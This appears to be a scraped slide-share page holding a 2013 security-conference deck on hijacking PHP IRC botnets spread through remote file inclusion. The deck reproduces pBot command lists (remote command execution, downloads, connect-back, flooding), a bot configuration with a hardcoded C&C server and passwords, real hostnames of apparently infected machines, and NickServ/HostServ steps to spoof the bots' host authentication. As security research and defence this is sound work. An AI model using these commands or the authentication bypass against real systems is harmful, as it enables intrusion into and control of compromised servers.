Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Applitools
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
GetSmarter
 

Featured (20)

Product Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage EngineeringsProduct Design Trends in 2024 | Teenage Engineerings
Product Design Trends in 2024 | Teenage Engineerings
 
How Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental HealthHow Race, Age and Gender Shape Attitudes Towards Mental Health
How Race, Age and Gender Shape Attitudes Towards Mental Health
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
 
Skeleton Culture Code
Skeleton Culture CodeSkeleton Culture Code
Skeleton Culture Code
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024
 
Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
 

Botnets of the Web – How to Hijack One

  • 1. Botnets of the Web How to Hijack One 10 November 2013 Sense of Security Pty Ltd Sydney Level 8, 66 King St Sydney NSW 2000 Australia Melbourne Level 10, 401 Docklands Dr Melbourne VIC 3008 Australia T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 info@senseofsecurity.com.au www.senseofsecurity.com.au ABN: 14 098 237 908
  • 2. whois hansv Hans-Michael Varbaek • Security Consultant (aka. PenTester) • Locksport Wizard • Captain Obvious • Community Guy
  • 6. Background Web-based botnets? Classic IRC C&C Typically PHP  RoR (CVE-2013-0156)  Sometimes Perl Attack methods  Google Dorks  RFI Payloads  Dumb Clients  Archaic, but it works! Walter Pinkman – Breaking Bad
  • 7. Background What does it look like when you connect? 08:00 -!- b0yz|43231 [captain@obvious] has joined #b0yz 08:00 -!- Topic for #b0yz: /source/includes/load_forum.php?mfh_root_path= Mihalism Multi Forum Host © 2007 08:00 -!- Topic set by b0yz_JbX [] [Sun Dec 25 21:32:45 2011] 08:00 [Users #b0yz] 08:00 [@b0yz_JbX ] [ b0yz]|[1139] [ b0yz]|[2873] [ b0yz]|[6267] [ b0yz]|[7484][ b0yz]|[9542] 08:00 [%abah ] [ b0yz]|[1419] [ b0yz]|[3234] [ b0yz]|[6344] [ b0yz]|[7521] [ ********** ] 08:00 [%VioLa ] [ b0yz]|[1664] [ b0yz]|[3421] [ b0yz]|[6431] [ b0yz]|[7541] [ Loaded ] 08:00 [+_b0yz_ ] [ b0yz]|[1978] [ b0yz]|[3447] [ b0yz]|[6694] [ b0yz]|[8273] [ MiStErluS ] 08:00 [+SiLeT ] [ b0yz]|[2659] [ b0yz]|[5438] [ b0yz]|[6883] [ b0yz]|[8692] [ Security ] 08:00 [ [z]uLva[N]] [ b0yz]|[2858] [ b0yz]|[5541] [ b0yz]|[6972] [ b0yz]|[8945] 08:00 -!- Irssi: #b0yz: Total of 35 nicks [1 ops, 2 halfops, 2 voices, 30 normal] 08:00 -!- Channel #b0yz created Fri Apr 6 07:05:14 2012 08:00 -!- Irssi: Join to #b0yz was synced in 0 secs It looks exactly like a regular IRC C&C!
  • 8. Background What does it look like when you connect? 08:00 -!- b0yz|43231 [captain@obvious] has joined #b0yz 08:00 -!- Topic for #b0yz: /source/includes/load_forum.php?mfh_root_path= Mihalism Multi Forum Host © 2007 08:00 -!- Topic set by b0yz_JbX [] [Sun Dec 25 21:32:45 2011] 08:00 [Users #b0yz] 08:00 [@b0yz_JbX ] [ b0yz]|[1139] [ b0yz]|[2873] [ b0yz]|[6267] [ b0yz]|[7484][ b0yz]|[9542] 08:00 [%abah ] [ b0yz]|[1419] [ b0yz]|[3234] [ b0yz]|[6344] [ b0yz]|[7521] [ ********** ] 08:00 [%VioLa ] [ b0yz]|[1664] [ b0yz]|[3421] [ b0yz]|[6431] [ b0yz]|[7541] [ Loaded ] 08:00 [+_b0yz_ ] [ b0yz]|[1978] [ b0yz]|[3447] [ b0yz]|[6694] [ b0yz]|[8273] [ MiStErluS ] 08:00 [+SiLeT ] [ b0yz]|[2659] [ b0yz]|[5438] [ b0yz]|[6883] [ b0yz]|[8692] [ Security ] 08:00 [ [z]uLva[N]] [ b0yz]|[2858] [ b0yz]|[5541] [ b0yz]|[6972] [ b0yz]|[8945] 08:00 -!- Irssi: #b0yz: Total of 35 nicks [1 ops, 2 halfops, 2 voices, 30 normal] 08:00 -!- Channel #b0yz created Fri Apr 6 07:05:14 2012 08:00 -!- Irssi: Join to #b0yz was synced in 0 secs It looks exactly like a regular IRC C&C!
  • 9. Background Let’s see a /who #b0yz #b0yz b0yz|43231 H #b0yz b0yz_JbX H@ #b0yz b0yz]|[8945 H #b0yz b0yz]|[8273 H #b0yz [z]uLva[N] H #b0yz b0yz]|[2659 H #b0yz b0yz]|[9542 H #b0yz VioLa G% #b0yz b0yz]|[6267 H #b0yz b0yz]|[3421 H #b0yz b0yz]|[7541 H #b0yz b0yz]|[6883 H #b0yz b0yz]|[6344 H #b0yz b0yz]|[1419 H #b0yz b0yz]|[5438 H #b0yz b0yz]|[6694 H #b0yz b0yz]|[1664 H #b0yz b0yz]|[1978 H #b0yz b0yz]|[7484 H #b0yz SiLeT H+ #b0yz b0yz]|[3234 H #b0yz b0yz]|[7521 H #b0yz abah Hr% #b0yz b0yz]|[2873 H #b0yz Security H* End of /WHO list 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 captain@obvious [b0yz|43231] Aku@host-79-121-103-71.juropnet.hu [.:|| Pangeran Berkelana ||:.] Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana b0yz@Lovers.Community [-=[ Powered by b0yz ]=-] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.] Aku@paris078.startdedicated.com [.:|| Pangeran Berkelana ||:.] Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] zx@mx.projectchemical.com [((([D3V_C0])))] say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] Aku@C015E953.E43244A9.563BB248.IP [.:|| Pangeran Berkelana ||:.] Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.] Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] Aku@vHost [.:|| Pangeran Berkelana ||:.] Aku@211.234.119.254 [.:|| Pangeran Berkelana ||:.] oYik.a@IRC [Network] ||:.] ||:.] ||:.] ||:.] ||:.]
  • 10. Background How many are reinfections? #b0yz b0yz|43231 H #b0yz b0yz_JbX H@ #b0yz b0yz]|[8945 H #b0yz b0yz]|[8273 H #b0yz [z]uLva[N] H #b0yz b0yz]|[2659 H #b0yz b0yz]|[9542 H #b0yz VioLa G% #b0yz b0yz]|[6267 H #b0yz b0yz]|[3421 H #b0yz b0yz]|[7541 H #b0yz b0yz]|[6883 H #b0yz b0yz]|[6344 H #b0yz b0yz]|[1419 H #b0yz b0yz]|[5438 H #b0yz b0yz]|[6694 H #b0yz b0yz]|[1664 H #b0yz b0yz]|[1978 H #b0yz b0yz]|[7484 H #b0yz SiLeT H+ #b0yz b0yz]|[3234 H #b0yz b0yz]|[7521 H #b0yz abah Hr% #b0yz b0yz]|[2873 H #b0yz Security H* End of /WHO list 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 captain@obvious [b0yz|43231] Aku@host-79-121-103-71.juropnet.hu [.:|| Pangeran Berkelana ||:.] Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana Aku@rrcs-98-100-234-34.central.biz.rr.com [.:|| Pangeran Berkelana b0yz@Lovers.Community [-=[ Powered by b0yz ]=-] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.] Aku@paris078.startdedicated.com [.:|| Pangeran Berkelana ||:.] Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] Aku@mail.pcliga.com [.:|| Pangeran Berkelana ||:.] zx@mx.projectchemical.com [((([D3V_C0])))] say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] say@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] Aku@C015E953.E43244A9.563BB248.IP [.:|| Pangeran Berkelana ||:.] Aku@mail.begumonline.com [.:|| Pangeran Berkelana ||:.] Aku@dns.sifasol.com [.:|| Pangeran Berkelana ||:.] Aku@vHost [.:|| Pangeran Berkelana ||:.] Aku@211.234.119.254 [.:|| Pangeran Berkelana ||:.] oYik.a@IRC [Network] ||:.] ||:.] ||:.] ||:.] ||:.]
  • 11. Background pBot IRC commands: * * * * * * * * * * * * * * * * * * * .die //kill the bot .restart //restart the bot .mail <to> <from> <subject> <msg> //send an email .dns <IP|HOST> //dns lookup .download <URL> <filename> //download a file .exec <cmd> // uses exec() //execute a command .sexec <cmd> // uses shell_exec() //execute a command .cmd <cmd> // uses popen() //execute a command .info //get system information .php <php code> // uses eval() //execute php code .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack .udpflood <target> <packets> <packetsize> <delay> [port] //udpflood attack .raw <cmd> //raw IRC command .rndnick //change nickname .pscan <host> <port> //port scan .safe // test safe_mode (dvl) .inbox <to> // test inbox (dvl) .conback <ip> <port> // conect back (dvl) .uname // return shell's uname using a php function (dvl)
  • 12. Background pBot IRC commands - that a hijacker would use? * .die //kill the bot * .restart //restart the bot * .mail <to> <from> <subject> <msg> //send an email * .dns <IP|HOST> //dns lookup * .download <URL> <filename> //download a file * .exec <cmd> // uses exec() //execute a command * .sexec <cmd> // uses shell_exec() //execute a command * .cmd <cmd> // uses popen() //execute a command * .info //get system information * .php <php code> // uses eval() //execute php code … [TRUNCATED] Undocumented Feature: * .system <cmd> // uses system() //execute a command
  • 14. Analysis Deobfuscation • Payloads are “heavily obfuscated” • base64_decode() • preg_replace() • str_rot13() • gzinflate() • eval() • Variable names ($llll = $lll.$lllll;)
  • 18. Analysis Discovered Vulnerabilities • Hardcoded Passwords • Insecure hostname authentication • Insufficient access control Known Vulnerabilities: - pBot RCE (HostAuth *) - RA1NX Auth Bypass
  • 19. Analysis Discovered Vulnerabilities • Hardcoded Passwords var $config = array("server"=>"scan.noip.us", "port"=>"6667", "pass"=>"", // Server password "prefix"=>"puto", "chan"=>"#ath0", "key"=>"id", // Channel password "modes"=>"+p", "password"=>"id", // Bot password "trigger"=>, "hostauth"=>"sHoOcK" // Host Auth );
  • 20. Analysis Discovered Vulnerabilities • Insecure hostname authentication var $config = array("server"=>"scan.noip.us", "port"=>"6667", "pass"=>"", // Server password "prefix"=>"puto", "chan"=>"#ath0", "key"=>"id", // Channel password "modes"=>"+p", "password"=>"id", // Bot password "trigger"=>, "hostauth"=>"sHoOcK" // Host Auth );
  • 21. Analysis Insecure hostname authentication • How easy is it to bypass? /msg nickserv register 123456 someuser@hushmail.com /msg nickserv confirm [TOKEN] A: Needs confirmation /msg hostserv request target.vhost.tld /msg hostserv on B: Does usually not need any confirmation /join #vhost !vhost target.vhost.tld
  • 22. Analysis Discovered Vulnerabilities • Insufficient access control • Anyone can connect to the IRC server. (Obviously) • A centralised botnet is a flawed design model. The Solution: P2P Botnets
  • 23. Analysis Reoccurring Bugs Most of these botnets have no HostAuth set. Almost all of them use either pBot or RA1NX. Source code is rarely modified or improved. Could a cat do it better? Most likely.
  • 26. aka. How not to become a bot • Stay up to date • Stop using dynamic require() and include() • AND require_once and include_once • Use a web application firewall • Check out BallastSec’s tools (PHP) • Custom Apps? • Secure Development Life-Cycle
  • 28. Statistical Findings Generic RFI Attacks (On a WordPress Website) 5000 4500 4000 3500 3000 2500 RFI Attacks 2000 1500 1000 500 0 Nov 01-14- Nov 15-30- Dec 01-152012 2012 2012 Dec 15-312012 Jan 01-152013 Jan 15-312013 Feb 01-152013 Primary Source: http://www.attack-scanner.com/category/attack-trends-2/ Feb 15-28- Mar 01-15- Mar 15-312013 2013 2013
  • 29. Statistical Findings pBot Attacks (On the same WordPress website) 90 80 70 60 50 Bot Attacks 40 30 20 10 0 Apr-13 May-13 Jun-13 Jul-13 Aug-13 Primary Source: https://defense.ballastsecurity.net/decoding/rss/pbot.rss Sep-13 Oct-13
  • 30. Statistical Findings RA1NX Attacks (On the same WordPress website) 25 20 15 Bot Attacks 10 5 0 Apr-13 May-13 Jun-13 Jul-13 Aug-13 Primary Source: https://defense.ballastsecurity.net/decoding/rss/ra1nx.rss Sep-13 Oct-13
  • 31. Statistical Findings Period: 28 Jul – 01 Nov 2013 Total RFI Attacks: 257 Unique Payloads: 17 Source: InterN0T Source: Forum Application Payload Domains: 14 Payload IP Addresses: 13
  • 32. Statistical Findings Period: 28 Jul – 01 Nov 2013 Total RFI Attacks: 257 Source: InterN0T Source: Forum Application Unique Attacker IPs: 23 Unique Attacker Domains: 19
  • 33. Conclusion • RFI Attacks are still occurring (obviously) • And they are still successful • But on a smaller scale • These botnets are small • Usually between 5-20 hosts • It’s easy to hijack them • Requires minimal analysis • Legal implications
  • 36. Credits • Bwall (@bwallHatesTwits) • DigiP (@xxDigiPxx) • InterN0T (@InterN0T) Other credits required by license: http://www.intechopen.com/books/advances-in-datamining-knowledge-discovery-and-applications/botnetdetection-enhancing-analysis-by-using-data-miningtechniques